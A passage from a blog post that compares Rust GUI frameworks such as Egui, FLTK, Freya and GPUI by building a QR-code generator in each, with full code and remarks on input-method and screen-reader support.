            engine.load(&QUrl::from("qrc:/qt/qml/cc/wybxc/cxx_qt/demo/qml/main.qml"));
        }
    
        if let Some(app) = app.as_mut() {
            app.exec();
        }
    }
    
    fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code
            .render::<image::Luma<u8>>()
            .min_dimensions(256, 256)
            .build();
    
        let mut png = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;
    
        let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
        Ok(format!("data:image/png;base64,{b64}"))
    }
    
    #[cxx_qt::bridge]
    pub mod qobject {
        unsafe extern "C++" {
            include!("cxx-qt-lib/qstring.h");
            type QString = cxx_qt_lib::QString;
        }
    
        extern "RustQt" {
            #[qobject]
            #[qml_element]
            #[qproperty(QString, text)]
            #[qproperty(QString, qr_code, cxx_name = "qrCode")]
            #[namespace = "my_object"]
            type MyObject = super::MyObjectRust;
    
            #[qinvokable]
            #[cxx_name = "generateQRCode"]
            fn generate_qr_code(self: Pin<&mut Self>);
        }
    }
    
    #[derive(Default)]
    pub struct MyObjectRust {
        text: cxx_qt_lib::QString,
        qr_code: cxx_qt_lib::QString,
    }
    
    impl qobject::MyObject {
        pub fn generate_qr_code(self: Pin<&mut Self>) {
            let text = self.text().to_string();
            let url = qr_encode_data_url(&text).unwrap_or_default();
            self.set_qr_code(cxx_qt_lib::QString::from(url.as_str()));
        }
    }

    QML:

    import QtQuick 2.12
    import QtQuick.Controls 2.12
    import QtQuick.Window 2.12
    
    import cc.wybxc.cxx_qt.demo 1.0
    
    ApplicationWindow {
        id: root
        height: 480
        title: qsTr("QR Code Generator")
        visible: true
        width: 640
        color: palette.window
    
        readonly property MyObject myObject: MyObject {
            onTextChanged: generateQRCode()
        }
    
        Column {
            anchors.fill: parent
            anchors.margins: 10
            spacing: 10
    
            Label {
                text: qsTr("Enter text to generate QR code:")
                color: palette.text
            }
    
            TextField {
                id: inputField
                placeholderText: qsTr("https://example.com")
                onTextChanged: root.myObject.text = text
            }
    
            Image {
                id: qrCodeImage
                width: 256
                height: 256
                fillMode: Image.PreserveAspectFit
                source: root.myObject.qrCode
                visible: status === Image.Ready
            }
        }
    }

    Link to this section Dioxus

    Dioxus is basically React in Rust. According to their description, on desktop they use the Wry framework to run a WebView and display the UI inside it, which is essentially what Tauri does.

    Recently, Dioxus’s development pace seems to have slowed down. There are reports that the team has shifted its focus to Blitz , a self-developed HTML/CSS rendering engine. The reason for this shift seems to be that AI agents nowadays need something that can render HTML more than they need a UI framework.

    But regardless, this can be seen as a step for Dioxus to move away from WebView and toward a more native approach.

    Incidentally, the niche of native rendering for Dioxus was originally occupied by Freya 4 4. We’ll see it later. . But now Freya has changed course, breaking away from Dioxus and adopting its own GUI model, so at the moment there isn’t really a native-rendering Dioxus anymore 5 5. As noted in Reddit comments, Dioxus already includes experimental native rendering support (powered by Blitz) in version 0.7, with further improvements expected in the upcoming 0.8 release. .

    IME and screen reader both work fine.

    Full Code
    use base64::Engine;
    use dioxus::prelude::*;
    
    fn main() {
        dioxus::launch(App);
    }
    
    fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut png = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;
    
        let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
        Ok(format!("data:image/png;base64,{b64}"))
    }
    
    #[component]
    fn App() -> Element {
        let mut text = use_signal(|| "".to_string());
        let qr = use_memo(move || qr_encode_data_url(&text()).unwrap_or_default());
    
        rsx! {
            document::Title { "QR Code Generator" }
            main {
                style: "display: flex; flex-direction: column",
                p { "Enter text to generate QR code:" }
                input {
                    r#type: "text",
                    placeholder: "Enter text here",
                    value: text,
                    oninput: move |evt| text.set(evt.value())
                }
                img {
                    src: "{qr}",
                    alt: "QR code"
                }
            }
        }
    }

    Link to this section Dominator

    Dominator is a web-oriented framework, and its situation hasn’t changed since 2025; it still doesn’t natively provide desktop support.

    Link to this section Egui

    Egui is a well-known immediate mode 6 6. If you’re curious about what immediate mode is, check out boringcactus’s 2025 survey . GUI library in Rust. It supports multiple rendering backends, which allows it to be embedded in various game engines. Eframe is egui’s desktop integration. Last year, eframe still used glow as the default rendering backend. In version 0.34 released this year, Eframe’s default rendering backend has switched to egui-wgpu. It seems wgpu is becoming the de facto standard for Rust graphics rendering, and the ecosystem is unifying, which is great to see.

    Egui’s default font doesn’t support CJK characters; you need to manually add a CJK-capable font before they can be displayed. IME and the screen reader both work properly. In last year’s article, Boringcactus mentioned that egui’s IME support had some issues, but in my tests everything worked fine. This could be due to platform differences between Windows and macOS, or it could be that egui has genuinely improved its IME support over the past year.

    Among GUI frameworks that use wgpu for rendering, egui is the first to offer good accessibility support, which is great.

    Full Code
    use eframe::egui;
    use egui::{FontData, FontDefinitions, FontFamily};
    
    fn main() {
        let native_options = eframe::NativeOptions::default();
        eframe::run_native(
            "QR Code Generator",
            native_options,
            Box::new(|cc| Ok(Box::new(MyEguiApp::new(cc)))),
        )
        .unwrap();
    }
    
    struct MyEguiApp {
        text: String,
        qr: egui::TextureHandle,
    }
    
    impl MyEguiApp {
        fn new(cc: &eframe::CreationContext<'_>) -> Self {
            let mut db = fontdb::Database::new();
            db.load_system_fonts();
            let font = db
                .query(&fontdb::Query {
                    families: &[fontdb::Family::Name("Hiragino Sans GB")],
                    ..fontdb::Query::default()
                })
                .and_then(|id| {
                    db.with_face_data(id, |data, index| {
                        let mut font = FontData::from_owned(data.to_vec());
                        font.index = index;
                        font
                    })
                })
                .unwrap();
            let mut fonts = FontDefinitions::default();
            fonts.font_data.insert("cjk".into(), font.into());
            fonts
                .families
                .get_mut(&FontFamily::Proportional)
                .unwrap()
                .insert(0, "cjk".into());
            cc.egui_ctx.set_fonts(fonts);
    
            Self {
                text: String::new(),
                qr: cc.egui_ctx.load_texture(
                    "qr",
                    egui::ColorImage::from_gray([1, 1], &[255]),
                    egui::TextureOptions::default(),
                ),
            }
        }
    }
    
    impl eframe::App for MyEguiApp {
        fn ui(&mut self, ui: &mut egui::Ui, _frame: &mut eframe::Frame) {
            egui::CentralPanel::default().show(ui, |ui| {
                ui.label("Enter text to generate QR code:");
                let resp = ui.add(egui::TextEdit::singleline(&mut self.text));
                if resp.changed()
                    && let Ok(code) = qrcode::QrCode::new(self.text.as_bytes())
                {
                    let img = code.render::<image::Luma<u8>>().build();
                    let size = [img.width() as usize, img.height() as usize];
                    self.qr.set(
                        egui::ColorImage::from_gray(size, img.as_raw()),
                        egui::TextureOptions::default(),
                    );
                }
                ui.image((self.qr.id(), self.qr.size_vec2()));
            });
        }
    }

    Link to this section Floem

    Floem is the UI framework used by Lapce, a code editor written in Rust. As a code editor with a similar positioning, Lapce seems to have stagnated in development compared to the thriving Zed. The last commit in its repository was 4 months ago, and its last release was 7 months ago. As for Floem, its UI framework, it hasn’t had a new release in nearly two years.

    Floem’s code is also quite concise to write, reminding me of Cushy earlier. Here as well, a single RwSignal type handles almost all reactive operations. In Floem, each component takes a closure that returns its display content. If you often deal with this kind of code in Rust, the moment you see a closure, you might feel a bit uneasy, because Rust’s ergonomics for capturing closures are still not great. Although there has been some discussion in the community, there doesn’t seem to be a stabilizable solution yet. But thank goodness, Floem’s RwSignal type is actually Copy , which means I don’t have to worry about how to copy it into each closure while writing code.

    Unfortunately, IME doesn’t work properly – I can’t even switch input methods inside the text box, and the screen reader also can’t recognize the content in the window. Floem is regrettably poor in this regard. If the Lapce team has time to come back and take a look at their UI framework, maybe.

    Full Code
    use floem::{Application, prelude::*, reactive::SignalRead, window::WindowConfig};
    
    fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
        Ok(buf)
    }
    
    fn app() -> impl IntoView {
        let text = RwSignal::new(String::new());
    
        v_stack((
            label(|| "Enter text to generate QR code:"),
            text_input(text),
            img(move || qr_encode(&text.read().borrow()).unwrap_or_default()),
        ))
    }
    
    fn main() {
        Application::new()
            .window(
                |_| app(),
                Some(WindowConfig::default().title("QR Code Generator")),
            )
            .run();
    }

    Link to this section FLTK

    “Rust bindings for the FLTK 1.4 Graphical User Interface library.”

    The name FLTK sounds like something from the same era as Tcl, and you get the feeling that its widgets would be full of that last‑century style.

    So I looked up the history of FLTK, and sure enough, it was born in 1998. However, after nearly 30 years of evolution, it is still being updated to this day. The latest version is FLTK 1.4.5.

    The Rust bindings for FLTK bundle the upstream source code, so I don’t need to bother with environment setup.

    Here I need to defend FLTK’s layout system. Boringcactus said that FLTK has no concept of a widget’s intrinsic size, but actually, as long as you place the widget inside a Flex layout, you can easily set its size; although it’s not something you’d immediately think of. I checked FLTK’s history, and at least by the time Boringcactus wrote that article, FLTK’s Flex was already available.

    Like all GUI frameworks from 20 years ago 7 7. It reminds me of my elementary school days, programming with Visual Basic and Delphi on Windows XP. , FLTK uses a callback-based programming model; back then, the concept of reactive didn’t exist yet. One annoyance of using a callback-based model in Rust is the issue of component lifetimes. However, FLTK seems to handle this aspect quite well—at least for writing simple little programs like this, its approach to lifetimes is pretty intuitive.

    FLTK offers several default themes, but no matter which one you choose, they all look like they’re straight out of 20 years ago. IME works fine in the text box, and after enabling fltk_accesskit 8 8. Boringcactus once said integrating fltk_accesskit was difficult, but now it only takes two lines of code. They improved this in the 0.2 version released in September 2025. , the screen reader can also recognize the content in the window.

    Full Code
    use ::image::{ImageFormat, Luma};
    use fltk::{prelude::*, *};
    use fltk_accesskit::{AccessibleApp, builder};
    
    fn qr_encode(text: &str) -> anyhow::Result<image::PngImage> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), ImageFormat::Png)?;
        Ok(image::PngImage::from_data(&buf)?)
    }
    
    fn main() {
        let app = app::App::default();
        let mut wind = window::Window::default()
            .with_size(300, 360)
            .with_label("QR Code Generator");
        let mut col = group::Flex::default_fill().column();
        let label = frame::Frame::default().with_label("Enter text to generate QR code:");
        let mut input = input::Input::default();
        let mut img = frame::Frame::default_fill();
        col.end();
        col.fixed(&label, 30);
        col.fixed(&input, 30);
        wind.end();
    
        input.set_trigger(enums::CallbackTrigger::Changed);
        input.set_callback(move |input| {
            img.set_image_scaled(Some(qr_encode(&input.value()).unwrap()));
            img.redraw();
        });
    
        wind.show();
        let ac = builder(wind).attach();
        app.run_with_accessibility(ac).unwrap();
    }

    Link to this section Flutter Rust Bridge

    Flutter Rust Bridge is more of an FFI library between Rust and Flutter/Dart than a GUI library. From that perspective, it’s probably a bit more similar to Crux mentioned above.

    I’ve tried some development with Flutter before, but perhaps my projects weren’t complex enough to need a Rust backend. I felt that keeping all the logic in Dart was actually sufficient. But since this library shows up on Are We GUI Yet?, let’s give it a try and see what the development experience is like when embedding Rust into Flutter.

    Before I start, though, I hope I haven’t deleted the Flutter SDK from my computer. Setting it up from scratch every time is no easy task.

    The Flutter Rust Bridge docs list over 6 ways to create a new project. Oh boy.

    It seems Flutter now has a generic solution called “Native Assets” for integrating native backends, which, my intuition tells me, would save me the trouble of running code generators. Let’s make things a bit more challenging for ourselves and go with it.

    Well, as it turns out, Native Assets didn’t save me from running code generators either. It seems like it just replaces the soon-to-be-deprecated cargokit. But Flutter developers are probably already used to running several code generators in watch mode in the background, so one more shouldn’t be a big deal.

    In Flutter Rust Bridge, there are two modes of interaction between Rust and Flutter. The first is to treat Rust as a library of functions: you define functions in Rust, then call them from Flutter. State management is still handled by Flutter. This mode aligns with the general expectation for a native library, where you only offload performance-critical parts to the native library. However, there is another mode where you can define UI state in Rust and completely take over Flutter’s state management logic. In this case, Flutter is used purely as a DSL for defining GUI. That is to say, Flutter’s native state management mechanisms like controller/state become completely unusable; you have to feed all state back to Rust via callbacks, and then Rust handles it. The reason Boringcactus encountered IME issues in hir test was that ze tried to use Flutter’s controller in the second mode, which caused a new controller to be created on every render, leading to state conflicts. The code below shows the second mode.

    Since the interface is Flutter, basic IME and screen reader functionality work fine. One interesting thing is that Flutter adds some extra navigation information to the screen reader, such as which keys you can press to move focus to a certain position.

    Full Code

    Rust:

    use flutter_rust_bridge::frb;
    
    #[frb(ui_state)]
    pub struct RustState {
        qr_code: Option<Vec<u8>>,
    }
    
    impl RustState {
        #[frb(sync)]
        pub fn new() -> Self {
            Self {
                qr_code: None,
                base_state: Default::default(),
            }
        }
    
        #[frb(ui_mutation)]
        pub fn set_text(&mut self, text: String) {
            self.qr_code = qr_encode(&text).ok();
        }
    
        #[frb(sync)]
        pub fn get_qr_code(&self) -> Option<Vec<u8>> {
            self.qr_code.clone()
        }
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
        Ok(buf)
    }

    Flutter:

    import 'package:flutter/material.dart';
    import 'package:hello_flutter_rust_bridge/src/rust/api/simple.dart';
    import 'package:hello_flutter_rust_bridge/src/rust/frb_generated.dart';
    
    void main() => runRustApp(body: body, state: RustState.new);
    
    Widget body(RustState state) {
      final qrCode = state.getQrCode();
      return MaterialApp(
        title: "QR Code Generator",
        home: Scaffold(
          body: Column(
            children: [
              const Text("Enter text to generate QR code:"),
              TextField(onChanged: (value) => state.setText(text: value)),
              if (qrCode != null) Image.memory(qrCode, width: 200, height: 200),
            ],
          ),
        ),
      );
    }

    Link to this section Freya

    Freya was once a framework I had high expectations for. It had the ambitious goal of bringing Dioxus to native desktop rendering. But later, Freya felt that Dioxus was limiting its design, so it pivoted to developing its own GUI interface. Let’s try out the new Freya and see; hoping its developer interface is as easy to use as Dioxus.

    Comparing the new Freya with the previous Dioxus example, it’s clear that Freya’s refactoring has simplified the code quite a bit. Dioxus’s model is faithful to the Web DOM, and replicating that model on desktop doesn’t actually bring any extra benefits.

    Freya uses Skia as its rendering backend. In theory, I could create an image in Skia and hand it to Freya for rendering. But that’s too much hassle. Freya provides a way to create images directly from RGBA pixels, which is probably a bit better than using data URLs.

    IME works properly in Freya, but the screen reader cannot recognize the content.

    Full Code
    use freya::{elements::image::ImageHandle, engine::prelude::*, prelude::*};
    
    fn main() {
        launch(LaunchConfig::new().with_window(WindowConfig::new(app).with_title("QR Code Generator")))
    }
    
    fn qr_encode(text: &str) -> Option<ImageHandle> {
        let code = qrcode::QrCode::new(text.as_bytes()).ok()?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::from(img).into_rgba8();
    
        Some(
            ImageHandle::from_rgba(
                img.width(),
                img.height(),
                img.into_raw().into(),
                AlphaType::Premul,
            )
            .unwrap(),
        )
    }
    
    fn app() -> impl IntoElement {
        let text = use_state(String::new);
        let qr = use_memo(move || qr_encode(&text.read()));
    
        rect()
            .width(Size::fill())
            .height(Size::fill())
            .padding(Gaps::new_all(12.))
            .children([
                label()
                    .text("Enter text to generate QR code:")
                    .into_element(),
                Input::new(text).into_element(),
            ])
            .children(
                qr.read()
                    .as_ref()
                    .map(|qr| image(qr.clone()).into_element()),
            )
    }

    Link to this section Fui

    Fui is an MVVM-style GUI framework. Its API design struck me as a bit novel because it actually requires using async to create windows and run the application.

    Combining GUI with async/await is a fascinating idea. But so far, I haven’t seen any framework that really does this well.

    Fui’s README doesn’t mention macOS support. I tried it and found that it indeed doesn’t. Alright, let’s move on to the next framework.

    Link to this section Gemgui

    Gemgui seems a bit mysterious. Its description is just one sentence: “Graphics User Interface library.”

    After carefully reading the documentation, I found that gemgui is actually a framework written for Rust to integrate Web UIs. To make it seem comparable to other GUI frameworks, gemgui provides an option to run the Web UI using pywebview. This option requires you to download the pywebview library from PyPI. Using pywebview to pretend to be a native program is something I’ve done myself, but making a Rust program carry a Python runtime feels a bit top-heavy.

    Although because it uses Web UI, its GUI score can’t really be compared with other libraries, I’m still curious about what the development experience is like. Would developing a Web UI application with such a library be better than using a general web server like axum or poem?

    The GUI development experience with gemgui is really intriguing: it almost brings a whole set of DOM operations into Rust. You can modify the DOM in Rust using equivalent operations, just as you would write DOM code in JS. For a project prototype, this is indeed a very convenient choice. If I can overlook the unexpectedly inefficient implementations in gemgui (such as the way it handles images), I’d say it’s a decent option for using WebUI in Rust.

    Full Code

    Rust:

    use gemgui::graphics::bitmap::Bitmap;
    use gemgui::graphics::canvas::Canvas;
    use gemgui::graphics::color::rgb;
    use gemgui::ui::{Gui, Ui};
    use gemgui::{self, GemGuiError};
    
    include!(concat!(env!("OUT_DIR"), "/generated.rs"));
    
    pub fn qr_encode(text: &str) -> anyhow::Result<Bitmap> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let bitmap = img.iter().map(|&x| rgb(x, x, x)).collect::<Vec<_>>();
        Ok(Bitmap::from_bytes(img.width(), img.height(), bitmap))
    }
    
    #[tokio::main]
    async fn main() -> Result<(), GemGuiError> {
        let fm = gemgui::filemap_from(RESOURCES);
        let mut ui = Gui::new(fm, "hello.html", gemgui::next_free_port(30000u16)).unwrap();
        // use python ui
        ui.set_python_gui("QR Code Generator", 500, 600, &[], 0, None);
        ui.set_logging(true);
    
        let input = ui.element("textInput");
        input.subscribe_async("input", async |ui, ev| {
            let value = &ev.element().values().await.unwrap()["value"];
            if let Ok(qr) = qr_encode(value) {
                let canvas = Canvas::new(&ui.element("canvas"));
                canvas.draw_bitmap_at(0, 0, &qr);
            }
        });
    
        ui.run().await
    }

    HTML:

    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8" />
        <meta
          http-equiv="Cache-Control"
          content="no-cache, no-store, must-revalidate"
        />
        <meta http-equiv="Pragma" content="no-cache" />
        <meta http-equiv="Expires" content="0" />
        <title>Hello</title>
      </head>
      <body>
        <script type="text/javascript" src="gemgui.js"></script>
        <div style="display: flex; flex-direction: column; gap: 10px;">
          <p>Enter text to generate QR code:</p>
          <input type="text" id="textInput" placeholder="Enter text here" />
          <canvas id="canvas" width="300" height="300"></canvas>
        </div>
      </body>
    </html>

    Link to this section GPUI

    GPUI is the UI framework that powers Zed. Lately, it feels like every so often I see someone on Reddit claiming they built some software’s UI with GPUI. As the name suggests, GPU rendering is its selling point. So what’s the user experience like as a UI framework? Let’s give it a try.

    As of 2026, GPUI still doesn’t ship with a built-in text input component. I had to copy its 780-line text input example and build on top of it.

    The first unfortunate thing was that the examples I copied from GitHub had clearly undergone API changes, so they wouldn’t compile when used with the version of GPUI from crates.io. Moreover, GPUI’s GitHub repository is located inside Zed’s subtree, and their tags are organized according to Zed’s version numbers, so I couldn’t even figure out which Git commit corresponded to the version they published on crates.io.

    The second was that I stared at this 700-line example for quite a while without being able to tell what programming model GPUI actually uses. It seems its other examples only have a static Render , so I couldn’t find any clue as to how they manage state. At this point, it has exceeded the patience limit of a programmer in 2026, so I decided to hand the remaining work over to AI.

    While the AI was still hard at work, I casually browsed through GPUI’s examples to see what else was there. They actually have an example named active_state_bug.rs , whose main content demonstrates one of their bugs: .active() background gets stuck on every other click. Should I give them credit for their sense of humor?

    Zed is an editor I really like, but it’s hard to imagine that the user experience of GPUI, which powers it, could be this bad. Look at Lapce and Floem over there; although Lapce isn’t as active as Zed nowadays, Floem as a UI framework is orders of magnitude better than GPUI.

    IME basically works, but the screen reader cannot access the content in the window. I say “basically” because while testing GPUI, I ran into an issue that none of the other UI frameworks had ever had: after typing a letter in the input method’s composer, deleting it, and then typing again, an out-of-bounds array access occurs and the program panics and exits. Could this be why GPUI hasn’t stabilized its text input as a built-in component because they themselves haven’t fully tested whether text input has bugs?

    GPUI also has another example that integrates AccessKit. Perhaps following that example would make the screen reader work properly in GPUI, but I’ve run out of patience to keep dealing with it.

    Full Code
    use std::ops::Range;
    use std::sync::Arc;
    
    use gpui::prelude::*;
    use gpui::{
        App, Application, Bounds, ClipboardItem, Context, CursorStyle, ElementId, ElementInputHandler,
        Entity, EntityInputHandler, FocusHandle, Focusable, GlobalElementId, Img, KeyBinding,
        Keystroke, LayoutId, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent, PaintQuad,
        Pixels, Point, RenderImage, ShapedLine, SharedString, Style, TextRun, UTF16Selection,
        UnderlineStyle, Window, WindowBounds, WindowOptions, actions, div, fill, hsla, img, point, px,
        relative, rgb, rgba, size, white,
    };
    use image::{Frame, Rgba};
    use smallvec::SmallVec;
    use unicode_segmentation::*;
    
    fn main() {
        Application::new().run(|cx: &mut App| {
            let bounds = Bounds::centered(None, size(px(300.0), px(300.0)), cx);
            cx.bind_keys([
                KeyBinding::new("backspace", Backspace, None),
                KeyBinding::new("delete", Delete, None),
                KeyBinding::new("left", Left, None),
                KeyBinding::new("right", Right, None),
                KeyBinding::new("shift-left", SelectLeft, None),
                KeyBinding::new("shift-right", SelectRight, None),
                KeyBinding::new("cmd-a", SelectAll, None),
                KeyBinding::new("cmd-v", Paste, None),
                KeyBinding::new("cmd-c", Copy, None),
                KeyBinding::new("cmd-x", Cut, None),
                KeyBinding::new("home", Home, None),
                KeyBinding::new("end", End, None),
                KeyBinding::new("ctrl-cmd-space", ShowCharacterPalette, None),
            ]);
    
            let window = cx
                .open_window(
                    WindowOptions {
                        window_bounds: Some(WindowBounds::Windowed(bounds)),
                        ..Default::default()
                    },
                    |_, cx| {
                        let text_input = cx.new(|cx| TextInput {
                            focus_handle: cx.focus_handle(),
                            content: "".into(),
                            placeholder: "Type here...".into(),
                            selected_range: 0..0,
                            selection_reversed: false,
                            marked_range: None,
                            last_layout: None,
                            last_bounds: None,
                            is_selecting: false,
                        });
                        cx.new(|cx| {
                            cx.observe(&text_input, |_, _, cx| cx.notify()).detach();
                            InputExample {
                                text_input,
                                recent_keystrokes: vec![],
                                focus_handle: cx.focus_handle(),
                            }
                        })
                    },
                )
                .unwrap();
            let view = window.update(cx, |_, _, cx| cx.entity()).unwrap();
            cx.observe_keystrokes(move |ev, _, cx| {
                view.update(cx, |view, cx| {
                    view.recent_keystrokes.push(ev.keystroke.clone());
                    cx.notify();
                })
            })
            .detach();
            cx.on_keyboard_layout_change({
                move |cx| {
                    window.update(cx, |_, _, cx| cx.notify()).ok();
                }
            })
            .detach();
    
            window
                .update(cx, |view, window, cx| {
                    window.focus(&view.text_input.focus_handle(cx));
                    cx.activate(true);
                })
                .unwrap();
            cx.on_action(|_: &Quit, cx| cx.quit());
            cx.bind_keys([KeyBinding::new("cmd-q", Quit, None)]);
        });
    }
    
    actions!(
        text_input,
        [
            Backspace,
            Delete,
            Left,
            Right,
            SelectLeft,
            SelectRight,
            SelectAll,
            Home,
            End,
            ShowCharacterPalette,
            Paste,
            Cut,
            Copy,
            Quit,
        ]
    );
    
    struct TextInput {
        focus_handle: FocusHandle,
        content: SharedString,
        placeholder: SharedString,
        selected_range: Range<usize>,
        selection_reversed: bool,
        marked_range: Option<Range<usize>>,
        last_layout: Option<ShapedLine>,
        last_bounds: Option<Bounds<Pixels>>,
        is_selecting: bool,
    }
    
    impl TextInput {
        fn left(&mut self, _: &Left, _: &mut Window, cx: &mut Context<Self>) {
            if self.selected_range.is_empty() {
                self.move_to(self.previous_boundary(self.cursor_offset()), cx);
            } else {
                self.move_to(self.selected_range.start, cx)
            }
        }
    
        fn right(&mut self, _: &Right, _: &mut Window, cx: &mut Context<Self>) {
            if self.selected_range.is_empty() {
                self.move_to(self.next_boundary(self.selected_range.end), cx);
            } else {
                self.move_to(self.selected_range.end, cx)
            }
        }
    
        fn select_left(&mut self, _: &SelectLeft, _: &mut Window, cx: &mut Context<Self>) {
            self.select_to(self.previous_boundary(self.cursor_offset()), cx);
        }
    
        fn select_right(&mut self, _: &SelectRight, _: &mut Window, cx: &mut Context<Self>) {
            self.select_to(self.next_boundary(self.cursor_offset()), cx);
        }
    
        fn select_all(&mut self, _: &SelectAll, _: &mut Window, cx: &mut Context<Self>) {
            self.move_to(0, cx);
            self.select_to(self.content.len(), cx)
        }
    
        fn home(&mut self, _: &Home, _: &mut Window, cx: &mut Context<Self>) {
            self.move_to(0, cx);
        }
    
        fn end(&mut self, _: &End, _: &mut Window, cx: &mut Context<Self>) {
            self.move_to(self.content.len(), cx);
        }
    
        fn backspace(&mut self, _: &Backspace, window: &mut Window, cx: &mut Context<Self>) {
            if self.selected_range.is_empty() {
                let prev = self.previous_boundary(self.cursor_offset());
                if self.cursor_offset() == prev {
                    return;
                }
                self.select_to(prev, cx)
            }
            self.replace_text_in_range(None, "", window, cx)
        }
    
        fn delete(&mut self, _: &Delete, window: &mut Window, cx: &mut Context<Self>) {
            if self.selected_range.is_empty() {
                let next = self.next_boundary(self.cursor_offset());
                if self.cursor_offset() == next {
                    return;
                }
                self.select_to(next, cx)
            }
            self.replace_text_in_range(None, "", window, cx)
        }
    
        fn on_mouse_down(
            &mut self,
            event: &MouseDownEvent,
            _window: &mut Window,
            cx: &mut Context<Self>,
        ) {
            self.is_selecting = true;
    
            if event.modifiers.shift {
                self.select_to(self.index_for_mouse_position(event.position), cx);
            } else {
                self.move_to(self.index_for_mouse_position(event.position), cx)
            }
        }
    
        fn on_mouse_up(&mut self, _: &MouseUpEvent, _window: &mut Window, _: &mut Context<Self>) {
            self.is_selecting = false;
        }
    
        fn on_mouse_move(&mut self, event: &MouseMoveEvent, _: &mut Window, cx: &mut Context<Self>) {
            if self.is_selecting {
                self.select_to(self.index_for_mouse_position(event.position), cx);
            }
        }
    
        fn show_character_palette(
            &mut self,
            _: &ShowCharacterPalette,
            window: &mut Window,
            _: &mut Context<Self>,
        ) {
            window.show_character_palette();
        }
    
        fn paste(&mut self, _: &Paste, window: &mut Window, cx: &mut Context<Self>) {
            if let Some(text) = cx.read_from_clipboard().and_then(|item| item.text()) {
                self.replace_text_in_range(None, &text.replace("\n", " "), window, cx);
            }
        }
    
        fn copy(&mut self, _: &Copy, _: &mut Window, cx: &mut Context<Self>) {
            if !self.selected_range.is_empty() {
                cx.write_to_clipboard(ClipboardItem::new_string(
                    self.content[self.selected_range.clone()].to_string(),
                ));
            }
        }
        fn cut(&mut self, _: &Cut, window: &mut Window, cx: &mut Context<Self>) {
            if !self.selected_range.is_empty() {
                cx.write_to_clipboard(ClipboardItem::new_string(
                    self.content[self.selected_range.clone()].to_string(),
                ));
                self.replace_text_in_range(None, "", window, cx)
            }
        }
    
        fn move_to(&mut self, offset: usize, cx: &mut Context<Self>) {
            self.selected_range = offset..offset;
            cx.notify()
        }
    
        fn cursor_offset(&self) -> usize {
            if self.selection_reversed {
                self.selected_range.start
            } else {
                self.selected_range.end
            }
        }
    
        fn index_for_mouse_position(&self, position: Point<Pixels>) -> usize {
            if self.content.is_empty() {
                return 0;
            }
    
            let (Some(bounds), Some(line)) = (self.last_bounds.as_ref(), self.last_layout.as_ref())
            else {
                return 0;
            };
            if position.y < bounds.top() {
                return 0;
            }
            if position.y > bounds.bottom() {
                return self.content.len();
            }
            line.closest_index_for_x(position.x - bounds.left())
        }
    
        fn select_to(&mut self, offset: usize, cx: &mut Context<Self>) {
            if self.selection_reversed {
                self.selected_range.start = offset
            } else {
                self.selected_range.end = offset
            };
            if self.selected_range.end < self.selected_range.start {
                self.selection_reversed = !self.selection_reversed;
                self.selected_range = self.selected_range.end..self.selected_range.start;
            }
            cx.notify()
        }
    
        fn offset_from_utf16(&self, offset: usize) -> usize {
            let mut utf8_offset = 0;
            let mut utf16_count = 0;
    
            for ch in self.content.chars() {
                if utf16_count >= offset {
                    break;
                }
                utf16_count += ch.len_utf16();
                utf8_offset += ch.len_utf8();
            }
    
            utf8_offset
        }
    
        fn offset_to_utf16(&self, offset: usize) -> usize {
            let mut utf16_offset = 0;
            let mut utf8_count = 0;
    
            for ch in self.content.chars() {
                if utf8_count >= offset {
                    break;
                }
                utf8_count += ch.len_utf8();
                utf16_offset += ch.len_utf16();
            }
    
            utf16_offset
        }
    
        fn range_to_utf16(&self, range: &Range<usize>) -> Range<usize> {
            self.offset_to_utf16(range.start)..self.offset_to_utf16(range.end)
        }
    
        fn range_from_utf16(&self, range_utf16: &Range<usize>) -> Range<usize> {
            self.offset_from_utf16(range_utf16.start)..self.offset_from_utf16(range_utf16.end)
        }
    
        fn previous_boundary(&self, offset: usize) -> usize {
            self.content
                .grapheme_indices(true)
                .rev()
                .find_map(|(idx, _)| (idx < offset).then_some(idx))
                .unwrap_or(0)
        }
    
        fn next_boundary(&self, offset: usize) -> usize {
            self.content
                .grapheme_indices(true)
                .find_map(|(idx, _)| (idx > offset).then_some(idx))
                .unwrap_or(self.content.len())
        }
    }
    
    impl EntityInputHandler for TextInput {
        fn text_for_range(
            &mut self,
            range_utf16: Range<usize>,
            actual_range: &mut Option<Range<usize>>,
            _window: &mut Window,
            _cx: &mut Context<Self>,
        ) -> Option<String> {
            let range = self.range_from_utf16(&range_utf16);
            actual_range.replace(self.range_to_utf16(&range));
            Some(self.content[range].to_string())
        }
    
        fn selected_text_range(
            &mut self,
            _ignore_disabled_input: bool,
            _window: &mut Window,
            _cx: &mut Context<Self>,
        ) -> Option<UTF16Selection> {
            Some(UTF16Selection {
                range: self.range_to_utf16(&self.selected_range),
                reversed: self.selection_reversed,
            })
        }
    
        fn marked_text_range(
            &self,
            _window: &mut Window,
            _cx: &mut Context<Self>,
        ) -> Option<Range<usize>> {
            self.marked_range
                .as_ref()
                .map(|range| self.range_to_utf16(range))
        }
    
